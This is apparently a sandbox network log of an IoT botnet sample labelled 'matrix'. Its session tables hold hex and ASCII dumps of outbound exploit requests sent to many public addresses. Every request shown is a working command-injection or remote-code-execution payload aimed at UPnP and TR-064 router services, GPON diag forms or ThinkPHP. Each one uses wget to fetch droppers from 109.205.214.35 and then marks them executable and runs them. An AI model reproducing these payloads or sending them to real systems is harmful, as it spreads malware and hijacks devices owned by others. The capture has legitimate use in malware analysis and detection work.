1472	192.168.2.23	59412	94.121.54.83	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:57.629548073 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1473	192.168.2.23	58096	115.4.73.58	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:57.697408915 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1474	192.168.2.23	59592	94.121.54.83	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:57.859389067 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1475	192.168.2.23	33460	95.101.84.103	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:57.945786953 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:26:58.108809948 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Thu, 21 Mar 2024 04:26:58 GMT Date: Thu, 21 Mar 2024 04:26:58 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 65 32 33 65 31 32 30 32 26 23 34 36 3b 31 37 31 30 39 39 35 32 31 38 26 23 34 36 3b 32 65 65 61 63 65 30 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.e23e1202.1710995218.2eeace01</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1476	192.168.2.23	39964	200.125.73.67	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:57.948419094 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1477	192.168.2.23	59042	119.202.137.200	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:57.974296093 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1478	192.168.2.23	58122	115.4.73.58	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:57.979511023 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1479	192.168.2.23	53688	183.123.13.78	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:57.980166912 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1480	192.168.2.23	59054	119.202.137.200	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:58.253144026 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1481	192.168.2.23	53700	183.123.13.78	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:58.263345957 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1482	192.168.2.23	44184	39.29.2.119	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:58.537166119 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:58.821962118 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:26:58 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1483	192.168.2.23	35060	75.2.9.127	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:58.696626902 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:58.974101067 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1484	192.168.2.23	57856	115.4.73.58	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:58.728106976 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1485	192.168.2.23	50570	212.227.203.112	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:58.786070108 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:58.965699911 CET	501	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:58 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 307 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 32 31 32 2e 32 32 37 2e 32 30 33 2e 31 31 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.58 (Ubuntu) Server at 212.227.203.112 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1486	192.168.2.23	40620	96.7.147.19	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:58.786183119 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:58.972793102 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Thu, 21 Mar 2024 04:26:58 GMT Date: Thu, 21 Mar 2024 04:26:58 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 38 30 64 64 35 38 26 23 34 36 3b 31 37 31 30 39 39 35 32 31 38 26 23 34 36 3b 33 31 31 65 62 39 63 30 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.880dd58.1710995218.311eb9c0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1487	192.168.2.23	44186	39.29.2.119	7547

Timestamp	Bytes transferred	Direction	Data
